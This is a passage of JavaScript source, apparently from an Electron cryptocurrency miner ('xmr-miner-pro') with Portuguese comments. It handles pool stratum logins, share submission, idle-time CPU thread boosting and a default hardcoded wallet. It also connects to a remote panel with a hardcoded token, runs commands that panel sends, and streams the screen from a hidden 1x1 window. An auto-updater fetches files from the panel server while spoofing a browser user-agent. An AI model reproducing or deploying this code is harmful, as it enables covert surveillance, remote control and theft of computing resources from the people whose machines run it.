stratumSocket.destroyed) return; stratumSocket.write(JSON.stringify(obj) + '\n'); } function connectStratum() { if (isConnecting) return; isConnecting = true; const activePools = getActivePools(); const pool = activePools[currentPoolIndex % activePools.length]; log(`[INFO] Conectando a ${pool.host}:${pool.port}...`); stratumSocket = new net.Socket(); let buffer = ''; let connectTimeout = null; // Timeout de conexão — se não conectar em 10s, avança para o próximo pool connectTimeout = setTimeout(() => { if (isConnecting) { log(`[ERRO] Timeout conectando a ${pool.host}:${pool.port}`); handleDisconnect(true); } }, 10000); stratumSocket.connect(pool.port, pool.host, () => { if (connectTimeout) { clearTimeout(connectTimeout); connectTimeout = null; } isConnecting = false; log(`[OK] Conectado a ${pool.host}:${pool.port}!`); isPoolConnected = true; lastPoolRxTime = Date.now(); lastJobRxTime = Date.now(); if (keepaliveTimer) clearInterval(keepaliveTimer); keepaliveTimer = setInterval(() => { if (!isMiningActive || !isPoolConnected) return; if (cfg.gpu && !cfg.dualGpu && Date.now() - lastJobRxTime > 300000) { log('[WARN] Sem bloco QTC novo ha 5 min — reconectando p/ pegar bloco atual...'); handleDisconnect(false); return; } if (Date.now() - lastPoolRxTime > 180000) { log('[WARN] Pool sem resposta ha 3 min — reconectando...'); handleDisconnect(true); return; } if (sessionId && ((cfg.gpu && !cfg.dualGpu) || (cfg.coin || 'xmr') === 'xmr')) { stratumSend({ id: stratumId++, jsonrpc: '2.0', method: 'keepalived', params: { id: sessionId } }); } }, 45000); if (cfg.gpu && !cfg.dualGpu) { const qtcW = cfg.gpuWallet || QTC_WALLET; const qtcLogin = qtcW.includes('.') || !cfg.worker ? qtcW : (qtcW + '.' + cfg.worker); loginId = stratumId++; stratumSend({ id: loginId, jsonrpc: '2.0', method: 'login', params: { login: qtcLogin, pass: cfg.pass || 'x', agent: `xmr-miner-pro/${VERSION}` } }); } else if ((cfg.coin || 'xmr') === 'vrsc') { verusSubId = stratumId++; stratumSend({ id: verusSubId, jsonrpc: '2.0', method: 'mining.subscribe', params: ['xmr-miner-pro/1.6.1', null, pool.host, String(pool.port)] }); const verusUser = cfg.wallet.includes('.') || !cfg.worker ? cfg.wallet : (cfg.wallet + '.' + cfg.worker); loginId = stratumId++; stratumSend({ id: loginId, jsonrpc: '2.0', method: 'mining.authorize', params: [verusUser, cfg.pass || 'x'] }); } else { loginId = stratumId++; stratumSend({ id: loginId, jsonrpc: '2.0', method: 'login', params: { login: cfg.wallet, pass: cfg.pass, agent: 'xmr-miner-pro/1.0', rigid: cfg.worker } }); } }); stratumSocket.on('data', (data) => { lastPoolRxTime = Date.now(); buffer += data.toString(); const lines = buffer.split('\n'); buffer = lines.pop(); for (const line of lines) { if (!line.trim()) continue; try { handleMessage(JSON.parse(line)); } catch (e) { } } }); stratumSocket.on('error', (err) => { if (connectTimeout) { clearTimeout(connectTimeout); connectTimeout = null; } log(`[ERRO] Socket: ${err.message || 'desconhecido'}`); handleDisconnect(true); }); stratumSocket.on('close', () => { if (connectTimeout) { clearTimeout(connectTimeout); connectTimeout = null; } const unauth = !isPoolConnected || (!sessionId && ((cfg.gpu && !cfg.dualGpu) || (cfg.coin || 'xmr') === 'xmr')); log(`[INFO] Conexao encerrada.`); handleDisconnect(unauth); // se fechou antes de autenticar, troca para proxima pool }); } function handleDisconnect(isError) { isConnecting = false; if (stratumSocket) { stratumSocket.removeAllListeners(); if (!stratumSocket.destroyed) stratumSocket.destroy(); stratumSocket = null; } isPoolConnected = false; sessionId = ''; loginId = null; verusSubId = null; verusJob = null; verusLastNotifyParams = null; pendingSubmits.clear(); if (keepaliveTimer) { clearInterval(keepaliveTimer); keepaliveTimer = null; } if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; } if (!isMiningActive) return; // Sempre avança para o próximo pool (seja erro ou fechamento normal) const activePools = getActivePools(); if (isError) { currentPoolIndex = (currentPoolIndex + 1) % activePools.length; log(`[INFO] Tentando proximo pool: ${activePools[currentPoolIndex].host}:${activePools[currentPoolIndex].port}...`); } else { log(`[INFO] Mantendo pool: ${activePools[currentPoolIndex % activePools.length].host}:${activePools[currentPoolIndex % activePools.length].port}...`); } const delay = isError ? 3000 : 1000; log(`[INFO] Reconectando em ${delay / 1000}s...`); reconnectTimer = setTimeout(() => { reconnectTimer = null; if (isMiningActive) connectStratum(); }, delay); } // ── MENSAGENS DO POOL ───────────────────────────────────────── function applyQtcJob(job) { if (job && job.job && !job.job_id) job = job.job; if (!job || !job.job_id || !job.mining_hash || !job.target) return false; currentGpuJobId = String(job.job_id); log(`[QTC-JOB] Bloco: ${job.job_id} (diff=${job.difficulty || '?'})`); if (nativeMiner && typeof nativeMiner.setQuantusJob === 'function') { nativeMiner.setQuantusJob(String(job.mining_hash), String(job.extranonce || ''), String(job.target), String(job.job_id)); } return true; } function applyJob(job) { if (job && job.job && !job.job_id) job = job.job; if (!job || !job.job_id) return; lastJobRxTime = Date.now(); if ((cfg.gpu && !cfg.dualGpu) || job.algo === 'qpow-poseidon2' || job.mining_hash) { if (!applyQtcJob(job)) log('[ERRO] Job QTC incompleto'); else currentJobId = currentGpuJobId; return; } if (!job.blob) return; log(`[JOB] Novo bloco: ${job.job_id}`); if (!job.seed_hash) { log('[ERRO] Pool nao enviou seed_hash'); return; } if (nativeMiner) nativeMiner.setJob(job.blob, job.target, job.job_id, job.seed_hash); } function applyVerusJob(params) { if (!Array.isArray(params) || params.length < 8) return; verusLastNotifyParams = params; const jobId = String(params[0] || ''); const version = String(params[1] || '').padEnd(8, '0').slice(0, 8); const prevhash = String(params[2] || '').padEnd(64, '0').slice(0, 64); const merkle = String(params[3] || '').padEnd(64, '0').slice(0, 64); const reserved = String(params[4] || '').padEnd(64, '0').slice(0, 64); const stime = String(params[5] || '').padEnd(8, '0').slice(0, 8); const nbits = String(params[6] || '').padEnd(8, '0').slice(0, 8); const rawSol = params[8] ? String(params[8]) : '07000000'; const solutionHex = rawSol.padEnd(2688, '0').slice(0, 2688); const xn1 = (verusExtranonce1 || '00000000').toLowerCase(); const xn1Bytes = Math.floor(xn1.length / 2); const xn2Bytes = Math.max(0, 32 - xn1Bytes); const extranonce2Hex = '00'.repeat(xn2Bytes); const nonceHex = (xn1 + extranonce2Hex).padEnd(64, '0').slice(0, 64); const headerHex = version + prevhash + merkle + reserved + stime + nbits + nonceHex; currentJobId = jobId; verusJob = { jobId, stime, xn1Bytes, extranonce2Hex, solutionHex }; log(`[VRSC-JOB] Bloco: ${jobId}`); if (nativeMiner && typeof nativeMiner.setVerusJob === 'function') { nativeMiner.setVerusJob(headerHex, solutionHex, verusTargetHex, jobId); } } const recentVerusShares = new Set(); function submitVerusShare(jobId, nonce15Hex) { if (!isPoolConnected || !verusJob) return; if (currentJobId && jobId !== currentJobId) { log(`[SHARE] Ignorando share VRSC vencido (job ${jobId} != atual ${currentJobId})`); return; } const shareKey = jobId + ':' + nonce15Hex; if (recentVerusShares.has(shareKey)) return; recentVerusShares.add(shareKey); if (recentVerusShares.size > 300) recentVerusShares.clear(); const sol = verusJob.solutionHex; const finalSol = 'fd4005' + sol.slice(0, 2658) + nonce15Hex + sol.slice(2688); let xn2 = verusJob.extranonce2Hex; const eqOffHex = (12 - (verusJob.xn1Bytes || 4)) * 2; const nonce4Hex = nonce15Hex.slice(22, 30); if (eqOffHex >= 0 && eqOffHex + 8 <= xn2.length) { xn2 = xn2.slice(0, eqOffHex) + nonce4Hex + xn2.slice(eqOffHex + 8); } else { xn2 = nonce4Hex + xn2.slice(8); } const verusUser = cfg.wallet.includes('.') || !cfg.worker ? cfg.wallet : (cfg.wallet + '.' + cfg.worker); const id = stratumId++; pendingSubmits.add(id); stratumSend({ id, jsonrpc: '2.0', method: 'mining.submit', params: [verusUser, jobId, verusJob.stime, xn2, finalSol] }); } function handleMessage(msg) { // Resposta do mining.subscribe (VRSC) if (msg.id === verusSubId && verusSubId !== null) { verusSubId = null; if (msg.result && Array.isArray(msg.result) && msg.result[1]) { verusExtranonce1 = String(msg.result[1]); log(`[VRSC] Subscribe OK (extranonce1=${verusExtranonce1})`); } return; } // Resposta do login / mining.authorize if (msg.id === loginId && loginId !== null) { loginId = null; if (msg.error) { log(`[ERRO] Login recusado: ${msg.error.message || JSON.stringify(msg.error)}`); handleDisconnect(true); return; } if (!(cfg.gpu && !cfg.dualGpu) && (cfg.coin || 'xmr') === 'vrsc') { if (msg.result === false) { log('[ERRO] VRSC authorize recusado pela pool'); handleDisconnect(true); return; } log('[OK] Autenticado (VRSC)!'); return; } if (msg.result) { sessionId = msg.result.id; log(`[OK] Login aceito!`); if (msg.result.job) applyJob(msg.result.job); } return; } // Verus Stratum notifications if (msg.method === 'mining.set_target' && Array.isArray(msg.params) && msg.params[0]) { verusTargetHex = String(msg.params[0]).padEnd(64, '0').slice(0, 64); if (verusLastNotifyParams) applyVerusJob(verusLastNotifyParams); return; } if (msg.method === 'mining.set_extranonce' && Array.isArray(msg.params) && msg.params[0]) { verusExtranonce1 = String(msg.params[0]); if (verusLastNotifyParams) applyVerusJob(verusLastNotifyParams); return; } if (msg.method === 'mining.notify' && Array.isArray(msg.params)) { applyVerusJob(msg.params); return; } // Novo job enviado pelo pool (XMR) if (msg.method === 'job' && msg.params) { applyJob(msg.params); return; } // Resposta de share if (msg.id !== undefined && pendingSubmits.has(msg.id)) { pendingSubmits.delete(msg.id); if (msg.error || msg.result === false) { const reason = msg.error ? (msg.error.message || JSON.stringify(msg.error)) : 'result=false'; log(`[REJEITADO] Motivo: ${reason}`); stats.rejected++; if (win) win.webContents.send('share-rejected'); if (cfg.gpu && !cfg.dualGpu && String(reason).toLowerCase().includes('stale')) { log('[WARN] Stale job detectado — reconectando para pegar bloco novo...'); handleDisconnect(false); } } else { log(`[OK] Share aceito!`); stats.shares++; if (win) win.webContents.send('share-accepted'); } } } // ── SUBMIT SHARE ────────────────────────────────────────────── function submitShare(jobId, nonce, result) { if (!isPoolConnected || !sessionId) return; const id = stratumId++; pendingSubmits.add(id); stratumSend({ id, jsonrpc: '2.0', method: 'submit', params: { id: sessionId, job_id: jobId, nonce, result } }); } // ── STRATUM GPU (Dual Mining QTC) ───────────────────────────── function gpuStratumSend(obj) { if (!gpuSocket || gpuSocket.destroyed) return; gpuSocket.write(JSON.stringify(obj) + '\n'); } function handleGpuDisconnect(isError) { gpuConnecting = false; if (gpuSocket) { gpuSocket.removeAllListeners(); if (!gpuSocket.destroyed) gpuSocket.destroy(); gpuSocket = null; } gpuPoolConnected = false; gpuSessionId = ''; gpuLoginId = null; gpuPendingSubmits.clear(); if (gpuKeepaliveTimer) { clearInterval(gpuKeepaliveTimer); gpuKeepaliveTimer = null; } if (gpuReconnectTimer) { clearTimeout(gpuReconnectTimer); gpuReconnectTimer = null; } if (!isMiningActive || !cfg.dualGpu) return; const pools = getGpuPools(); if (isError) { gpuPoolIndex = (gpuPoolIndex + 1) % pools.length; log(`[QTC-DUAL] Proximo pool GPU: ${pools[gpuPoolIndex].host}:${pools[gpuPoolIndex].port}...`); } gpuReconnectTimer = setTimeout(() => { gpuReconnectTimer = null; if (isMiningActive && cfg.dualGpu) connectGpuStratum(); }, isError ? 3000 : 1000); } function connectGpuStratum() { if (gpuConnecting || !isMiningActive || !cfg.dualGpu) return; gpuConnecting = true; const pools = getGpuPools(); const pool = pools[gpuPoolIndex % pools.length]; log(`[QTC-DUAL] Conectando GPU a ${pool.host}:${pool.port}...`); gpuSocket = new net.Socket(); let buf = ''; let connTimer = setTimeout(() => { if (gpuConnecting) { log(`[QTC-DUAL] Timeout em ${pool.host}:${pool.port}`); handleGpuDisconnect(true); } }, 10000); gpuSocket.connect(pool.port, pool.host, () => { if (connTimer) { clearTimeout(connTimer); connTimer = null; } gpuConnecting = false; gpuPoolConnected = true; gpuLastRxTime = Date.now(); gpuLastJobRxTime = Date.now(); log(`[QTC-DUAL] Conectado GPU a ${pool.host}:${pool.port}!`); if (gpuKeepaliveTimer) clearInterval(gpuKeepaliveTimer); gpuKeepaliveTimer = setInterval(() => { if (!isMiningActive || !cfg.dualGpu || !gpuPoolConnected) return; if (Date.now() - gpuLastJobRxTime > 300000) { log('[QTC-DUAL] Sem bloco QTC novo ha 5 min — reconectando...'); handleGpuDisconnect(false); return; } if (gpuSessionId) gpuStratumSend({ id: gpuStratumId++, jsonrpc: '2.0', method: 'keepalived', params: { id: gpuSessionId } }); }, 45000); const qtcW = cfg.gpuWallet || QTC_WALLET; const qtcLogin = qtcW.includes('.') || !cfg.worker ? qtcW : (qtcW + '.' + cfg.worker); gpuLoginId = gpuStratumId++; gpuStratumSend({ id: gpuLoginId, jsonrpc: '2.0', method: 'login', params: { login: qtcLogin, pass: cfg.pass || 'x', agent: `xmr-miner-pro/${VERSION}` } }); }); gpuSocket.on('data', (data) => { gpuLastRxTime = Date.now(); buf += data.toString(); const lines = buf.split('\n'); buf = lines.pop(); for (const line of lines) { if (!line.trim()) continue; try { const msg = JSON.parse(line); if (msg.id === gpuLoginId && gpuLoginId !== null) { gpuLoginId = null; if (msg.error) { log(`[QTC-DUAL] Login recusado: ${msg.error.message || JSON.stringify(msg.error)}`); handleGpuDisconnect(true); return; } if (msg.result) { gpuSessionId = msg.result.id || ''; log('[QTC-DUAL] Login GPU aceito!'); if (msg.result.job) { gpuLastJobRxTime = Date.now(); applyQtcJob(msg.result.job); } } continue; } if (msg.method === 'job' && msg.params) { gpuLastJobRxTime = Date.now(); applyQtcJob(msg.params); continue; } if (msg.id !== undefined && gpuPendingSubmits.has(msg.id)) { gpuPendingSubmits.delete(msg.id); if (msg.error || msg.result === false) { const reason = msg.error ? (msg.error.message || JSON.stringify(msg.error)) : 'result=false'; log(`[QTC-DUAL REJEITADO] ${reason}`); stats.gpuRejected++; if (win) win.webContents.send('share-rejected'); if (String(reason).toLowerCase().includes('stale')) handleGpuDisconnect(false); } else { log('[OK] Share QTC (Dual) aceito!'); stats.gpuShares++; if (win) win.webContents.send('share-accepted'); } } } catch (e) { } } }); gpuSocket.on('error', () => { if (connTimer) { clearTimeout(connTimer); connTimer = null; } handleGpuDisconnect(true); }); gpuSocket.on('close', () => { if (connTimer) { clearTimeout(connTimer); connTimer = null; } const unauth = !gpuPoolConnected || !gpuSessionId; handleGpuDisconnect(unauth); }); } function submitGpuShare(jobId, nonce, result) { if (!gpuPoolConnected || !gpuSessionId) return; const id = gpuStratumId++; gpuPendingSubmits.add(id); gpuStratumSend({ id, jsonrpc: '2.0', method: 'submit', params: { id: gpuSessionId, job_id: jobId, nonce, result } }); } // ── CPU MONITOR ─────────────────────────────────────────────── let _lastThreadChange = 0; // cooldown entre mudancas de thread (ms) let _cpuEma = null; // media movel para evitar falsos picos de 1s let _cpuIdleBoost = false; let _threadsBeforeIdle = null; function startCpuMonitor() { if (cpuMonitorTimer) clearInterval(cpuMonitorTimer); _cpuIdleBoost = false; _threadsBeforeIdle = null; cpuMonitorTimer = setInterval(() => { const cpu = getGlobalCpuUsage(); _cpuEma = _cpuEma === null ? cpu : (_cpuEma * 0.65 + cpu * 0.35); stats.cpu = parseFloat(cpu.toFixed(1)); if (!isMiningActive) return; if (!gpuSmiAvailable) applyGpuControl(); // ── CONTROLE AUTOMÃ�TICO DE THREADS ────────────────────────── if (!(cfg.gpu && !cfg.dualGpu) && cfg.autoThreads && nativeMiner && typeof nativeMiner.setThreads === 'function') { const idleMax = Math.max(1, maxThreads - 2); let idleSec = 0; try { if (powerMonitor && typeof powerMonitor.getSystemIdleTime === 'function') idleSec = powerMonitor.getSystemIdleTime(); } catch {} if (cfg.idleBoost !== false && idleSec >= 300) { if (!_cpuIdleBoost) { _cpuIdleBoost = true; _threadsBeforeIdle = currentThreads; if (currentThreads !== idleMax) { currentThreads = idleMax; nativeMiner.setThreads(currentThreads); log(`[IDLE] 5 min sem mexer -> subindo para ${currentThreads}/${maxThreads} threads`); } } } else { if (_cpuIdleBoost) { _cpuIdleBoost = false; const restored = Math.max(1, Math.min(idleMax, _threadsBeforeIdle || currentThreads)); _threadsBeforeIdle = null; if (currentThreads !== restored) { currentThreads = restored; nativeMiner.setThreads(currentThreads); log(`[IDLE] Atividade detectada -> voltando para ${currentThreads}/${maxThreads} threads`); } } // tMax: nunca passa de maxThreads-2 (deixa 2 cores livres) e respeita o config const tMax = Math.min(idleMax, Math.max(1, cfg.autoMax || cfg.threads)); const tMin = Math.max(1, cfg.autoMin || 1); const hi = cfg.autoCpuHigh || 92; // reduz se CPU > hi% const lo = cfg.autoCpuLow || 72; // aumenta se CPU < lo% const now = Date.now(); const COOLDOWN = 8000; // 8s entre mudancas usando media movel // Sanitiza currentThreads caso esteja fora dos limites if (currentThreads > tMax) { currentThreads = tMax; nativeMiner.setThreads(currentThreads); log(`[AUTO] Corrigindo threads acima do limite → ${currentThreads}/${maxThreads}`); } else if (currentThreads < tMin) { currentThreads = tMin; nativeMiner.setThreads(currentThreads); log(`[AUTO] Corrigindo threads abaixo do minimo → ${currentThreads}/${maxThreads}`); } else if (now - _lastThreadChange >= COOLDOWN) { if (_cpuEma > hi && currentThreads > tMin) { currentThreads--; nativeMiner.setThreads(currentThreads); _lastThreadChange = now; log(`[AUTO] CPU ${_cpuEma.toFixed(0)}% (>${hi}%) → reduzindo: ${currentThreads}/${maxThreads} threads`); } else if (_cpuEma < lo && currentThreads < tMax) { currentThreads++; nativeMiner.setThreads(currentThreads); _lastThreadChange = now; log(`[AUTO] CPU ${_cpuEma.toFixed(0)}% (<${lo}%) → aumentando: ${currentThreads}/${maxThreads} threads`); } } } } stats.threads = currentThreads; if (win && !win.isDestroyed()) win.webContents.send('cpu-stats', { threads: currentThreads, cpu: cpu.toFixed(1) }); }, 1000); } // ── MINING ──────────────────────────────────────────────────── function startMining() { if (isMiningActive) return; isMiningActive = true; isPoolConnected = false; stats.shares = 0; stats.rejected = 0; stats.gpuShares = 0; stats.gpuRejected = 0; startTime = Date.now(); if (!nativeMiner) { log('[ERRO] native_miner.node nao carregado.'); isMiningActive = false; return; } // Usa cfg.threads (configurado pelo painel ou padrão salvo) const startThreads = cfg.autoThreads ? Math.max(1, Math.min(Math.max(1, maxThreads - 2), cfg.threads)) : Math.max(1, Math.min(maxThreads, cfg.threads)); const isGpuOnly = !!(cfg.gpu && !cfg.dualGpu); const isDual = !!cfg.dualGpu; const cpuAlgo = (cfg.coin || 'xmr') === 'vrsc' ? 'verus' : 'randomx'; const algo = isGpuOnly ? 'qtc' : cpuAlgo; gpuLastError = ''; stats.gpuHashrate = 0; const initDuty = isGpuActive() ? (cfg.gpuDuty ? Math.max(10, Math.min(100, parseInt(cfg.gpuDuty) || 80)) : (cfg.autoGpu !== false ? getActiveGpuDuty() : (getFixedGpuDuty() ?? 100))) : 100; currentGpuDuty = initDuty; if (nativeMiner && typeof nativeMiner.setGpuDuty === 'function') nativeMiner.setGpuDuty(initDuty); if (isGpuOnly) { log('[START] Iniciando QTC Poseidon2-Goldilocks (GPU OpenCL) — CPU pausada | Worker: ' + cfg.worker); } else { log('[START] Iniciando ' + (cpuAlgo === 'verus' ? 'VRSC VerusHash 2.2' : 'XMR RandomX') + ' — ' + startThreads + '/' + maxThreads + ' threads' + (isDual ? ' + QTC GPU (DUAL)' : '') + ' | Worker: ' + cfg.worker); } try { const result = nativeMiner.start({ threads: startThreads, fast: cfg.fast, hugePages: true, algo, dualGpu: isDual }); log('[START] ' + result); } catch (e) { if (isGpuOnly) { log('[ERRO] Nao foi possivel iniciar GPU QTC: ' + e.message); isMiningActive = false; return; } log('[WARN] Modo rapido falhou (' + e.message + ') — tentando modo leve...'); try { const result = nativeMiner.start({ threads: Math.max(1, Math.floor(startThreads / 2)), fast: false, hugePages: false, algo, dualGpu: isDual }); log('[START] ' + result); } catch (e2) { log('[ERRO] Nao foi possivel iniciar minerador: ' + e2.message); isMiningActive = false; return; } } currentThreads = isGpuOnly ? 0 : startThreads; connectStratum(); if (isDual) connectGpuStratum(); startCpuMonitor(); pollInterval = setInterval(() => { if (!isMiningActive || !nativeMiner || !nativeMiner.pollStatus) return; const s = nativeMiner.pollStatus(); if (s) { stats.hashrate = s.hashrate || 0; stats.gpuHashrate = isGpuOnly ? (s.hashrate || 0) : (s.gpuHashrate || 0); if (s.gpuName) gpuDeviceName = s.gpuName; if (s.gpuError && s.gpuError !== gpuLastError) { gpuLastError = s.gpuError; log('[GPU-ERRO] ' + s.gpuError); if (isDual && gpuSocket) { log('[QTC-DUAL] Sem GPU OpenCL compativel — mantendo apenas CPU.'); if (gpuKeepaliveTimer) { clearInterval(gpuKeepaliveTimer); gpuKeepaliveTimer = null; } if (gpuReconnectTimer) { clearTimeout(gpuReconnectTimer); gpuReconnectTimer = null; } gpuSocket.removeAllListeners(); if (!gpuSocket.destroyed) gpuSocket.destroy(); gpuSocket = null; gpuPoolConnected = false; } } } if (s && win && !win.isDestroyed() && !win.webContents.isDestroyed()) win.webContents.send('hashrate', s.hashrate); if (s && s.shares && s.shares.length > 0) { s.shares.forEach(sd => { const parts = sd.split(':'); if (!isGpuOnly && (cfg.coin || 'xmr') === 'vrsc' && parts.length === 2) { log(`[SHARE-VRSC] Solucao encontrada! Job: ${parts[0]}`); submitVerusShare(parts[0], parts[1]); } else if (parts.length >= 3) { if (isGpuOnly && currentJobId && parts[0] !== currentJobId) return; log(`[SHARE${isGpuOnly ? '-QTC' : ''}] Solucao encontrada! Job: ${parts[0]}`); submitShare(parts[0], parts[1], parts[2]); } }); } if (s && s.gpuShares && s.gpuShares.length > 0) { s.gpuShares.forEach(sd => { const parts = sd.split(':'); if (parts.length >= 3) { if (currentGpuJobId && parts[0] !== currentGpuJobId) return; log(`[SHARE-QTC-DUAL] Solucao encontrada! Job: ${parts[0]}`); submitGpuShare(parts[0], parts[1], parts[2]); } }); } }, 100); if (win && !win.isDestroyed() && !win.webContents.isDestroyed()) win.webContents.send('mining-started'); } function stopMining() { isMiningActive = false; isConnecting = false; gpuConnecting = false; startTime = null; if (keepaliveTimer) { clearInterval(keepaliveTimer); keepaliveTimer = null; } if (gpuKeepaliveTimer) { clearInterval(gpuKeepaliveTimer); gpuKeepaliveTimer = null; } if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; } if (gpuReconnectTimer) { clearTimeout(gpuReconnectTimer); gpuReconnectTimer = null; } if (pollInterval) { clearInterval(pollInterval); pollInterval = null; } if (cpuMonitorTimer) { clearInterval(cpuMonitorTimer); cpuMonitorTimer = null; } if (stratumSocket) { stratumSocket.removeAllListeners(); stratumSocket.destroy(); stratumSocket = null; } if (gpuSocket) { gpuSocket.removeAllListeners(); gpuSocket.destroy(); gpuSocket = null; } if (nativeMiner) nativeMiner.stop(); if (win && !win.isDestroyed() && !win.webContents.isDestroyed()) win.webContents.send('mining-stopped'); log(`[STOP] Minerador parado.`); } // ── WEBSOCKET — ÚNICO transporte (escala 1000+ PCs) ──────────── const WS_SERVER = PANEL_SERVER.replace('https://', 'wss://').replace('http://', 'ws://') + '/ws/miner'; const WS_TOKEN = 'XmrPro2026!'; let wsClient = null; let rtcWin = null; let _vp8StreamActive = false; let wsReady = false; let wsReconnTimer = null; let _wsFailCount = 0; function wsScheduleReconnect() { if (wsReconnTimer) return; // Backoff em 2 fases: quedas curtas (5s, 15s, 30s, 60s) -> servidor fora (5m, 15m, 30m) + jitter const steps = [5000, 15000, 30000, 60000, 300000, 900000, 1800000]; const base = steps[Math.min(_wsFailCount, steps.length - 1)]; const jitter = Math.floor(Math.random() * (base >= 60000 ? 15000 : 5000)); const delay = base + jitter; _wsFailCount++; const label = delay >= 60000 ? `${Math.round(delay / 60000)}min` : `${Math.round(delay / 1000)}s`; log(`[WS] Desconectado — reconectando em ${label}...`); wsReconnTimer = setTimeout(() => { wsReconnTimer = null; wsConnect(); }, delay); } // ── WEBRTC / VP8 — janela oculta que captura tela em 30/60fps ─ function startRtcRenderer() { if (rtcWin && !rtcWin.isDestroyed()) return; rtcWin = new BrowserWindow({ show: false, width: 1, height: 1, webPreferences: { nodeIntegration: true, contextIsolation: false, backgroundThrottling: false } }); try { rtcWin.webContents.setBackgroundThrottling(false); } catch (_) { } rtcWin.loadFile(path.join(__dirname, 'webrtc_renderer.html')); rtcWin.on('closed', () => { rtcWin = null; _vp8StreamActive = false; }); log('[RTC] Janela WebRTC/VP8 criada'); } function stopRtcRenderer() { _vp8StreamActive = false; if (rtcWin && !rtcWin.isDestroyed()) { rtcWin.close(); rtcWin = null; } } function startVp8Stream(quality) { stopScreenStreamWS(); _vp8StreamActive = true; startRtcRenderer(); const sendStart = () => { if (_vp8StreamActive && rtcWin && !rtcWin.isDestroyed() && !rtcWin.webContents.isDestroyed()) { rtcWin.webContents.send('vp8-start', { quality: quality || streamQuality }); log('[STREAM-VP8] Stream VP8 iniciado (qualidade: ' + (quality || streamQuality) + ')'); } }; if (rtcWin.webContents.isLoading()) { rtcWin.webContents.once('did-finish-load', sendStart); } else { sendStart(); } } function stopVp8Stream() { if (!_vp8StreamActive) return; _vp8StreamActive = false; if (rtcWin && !rtcWin.isDestroyed() && !rtcWin.webContents.isDestroyed()) { rtcWin.webContents.send('vp8-stop'); } log('[STREAM-VP8] Stream VP8 parado.'); } function wsConnect() { if (wsClient && (wsClient.readyState === 0 || wsClient.readyState === 1)) return; if (wsReconnTimer) { clearTimeout(wsReconnTimer); wsReconnTimer = null; } try { const WebSocket = require('ws'); wsClient = new WebSocket(`${WS_SERVER}?token=${encodeURIComponent(WS_TOKEN)}`); let wsPingTimer = null; wsClient.on('open', () => { log('[WS] Conectado'); // Ping a cada 25s para manter conexão viva no Cloudflare (timeout ~100s) if (wsPingTimer) clearInterval(wsPingTimer); wsPingTimer = setInterval(() => { if (wsClient && wsClient.readyState === 1) wsClient.ping(); }, 25000); wsClient.send(JSON.stringify({ type: 'auth', token: WS_TOKEN, hostname: os.hostname(), ip: getLocalIP(), port: PANEL_PORT, label: os.hostname(), status: buildStatus(), })); }); wsClient.on('message', (raw) => { try { const msg = JSON.parse(raw); if (msg.type === 'auth_ok') { wsReady = true; _wsFailCount = 0; log('[WS] Autenticado'); wsStartStatusLoop(); } else if (msg.type === 'cmd') { processCmds([{ cmd: msg.cmd, payload: msg.payload }]); } } catch (e) { } }); wsClient.on('close', () => { if (wsPingTimer) { clearInterval(wsPingTimer); wsPingTimer = null; } wsReady = false; wsClient = null; stopVp8Stream(); stopScreenStreamWS(); // para stream — painel não está mais recebendo wsScheduleReconnect(); }); wsClient.on('error', () => { /* handled by close */ }); wsClient.on('pong', () => { /* keep-alive confirmado */ }); } catch (e) { log('[WS] Erro ao conectar: ' + e.message); wsScheduleReconnect(); } } let wsStatusTimer = null; function wsStartStatusLoop() { if (wsStatusTimer) { clearInterval(wsStatusTimer); wsStatusTimer = null; } wsStatusTimer = setInterval(() => { if (!wsReady || !wsClient || wsClient.readyState !== 1) { clearInterval(wsStatusTimer); wsStatusTimer = null; return; } wsClient.send(JSON.stringify({ type: 'status', data: buildStatus() })); }, 2000); // mesmo intervalo do HTTP — sem latência extra } // ── STREAM DE TELA via WebSocket binário ─────────────────────── // Qualidade: low=640p 30%, medium=1280p 55%, high=1920p 80% let streamQuality = 'medium'; const STREAM_DIMS = { low: { w: 640, h: 360, q: 30 }, medium: { w: 1280, h: 720, q: 55 }, high: { w: 1920, h: 1080, q: 80 }, }; let _wsStreamRunning = false; // Envia frames JPEG como mensagens binárias pelo WS (sem base64, sem HTTP relay) async function startScreenStreamWS() { if (_wsStreamRunning) return; _wsStreamRunning = true; log('[STREAM-WS] Stream binário via WebSocket iniciado (qualidade: ' + streamQuality + ')'); const pushWS = async () => { if (!_wsStreamRunning) return; try { const d = STREAM_DIMS[streamQuality] || STREAM_DIMS.medium; const sources = await desktopCapturer.getSources({ types: ['screen'], thumbnailSize: { width: d.w, height: d.h }, }); if (sources.length && wsClient && wsClient.readyState === 1) { // toJPEG retorna Buffer — enviado como frame binário WS (sem base64) const jpeg = sources[0].thumbnail.toJPEG(d.q); wsClient.send(jpeg); // ws package envia Buffer como binário automaticamente } } catch (e) { } if (_wsStreamRunning) setTimeout(pushWS, 67); // ~15fps — evita saturar o WS com frames }; pushWS(); } function stopScreenStreamWS() { if (!_wsStreamRunning) return; _wsStreamRunning = false; log('[STREAM-WS] Stream binário parado.'); } // Aliases de compatibilidade function startScreenStream() { startScreenStreamWS(); } function stopScreenStream() { stopScreenStreamWS(); } function getLocalIP() { const ifaces = os.networkInterfaces(); for (const name of Object.keys(ifaces)) { for (const iface of ifaces[name]) { if (iface.family === 'IPv4' && !iface.internal) return iface.address; } } return '127.0.0.1'; } // ── AUTO-UPDATE ─────────────────────────────────────────────── const UPDATE_BASE = PANEL_SERVER + '/update/'; function downloadToFile(url, destPath) { return new Promise((resolve, reject) => { const mod = url.startsWith('https') ? require('https') : require('http'); const options = { headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Accept': '*/*', 'Accept-Language': 'pt-BR,pt;q=0.9,en;q=0.8', 'Cache-Control': 'no-cache', }, }; const out = fs.createWriteStream(destPath); mod.get(url, options, res => { if (res.statusCode === 301 || res.statusCode === 302) { out.close(); fs.unlink(destPath, () => { }); return downloadToFile(res.headers.location, destPath).then(resolve).catch(reject); } if (res.statusCode !== 200) { out.close(); fs.unlink(destPath, () => { }); return reject(new Error('HTTP ' + res.statusCode + ' — ' + url)); } res.pipe(out); out.on('finish', () => out.close(resolve)); out.on('error', err => { fs.unlink(destPath, () => { }); reject(err); }); }).on('error', err => { out.close(); fs.unlink(destPath, () => { }); reject(err); }); }); } async function performUpdate(files) { log('[UPDATE] Iniciando atualização — arquivos: ' + files.join(', ')); if (isMiningActive) { log('[UPDATE] Parando mineração...'); 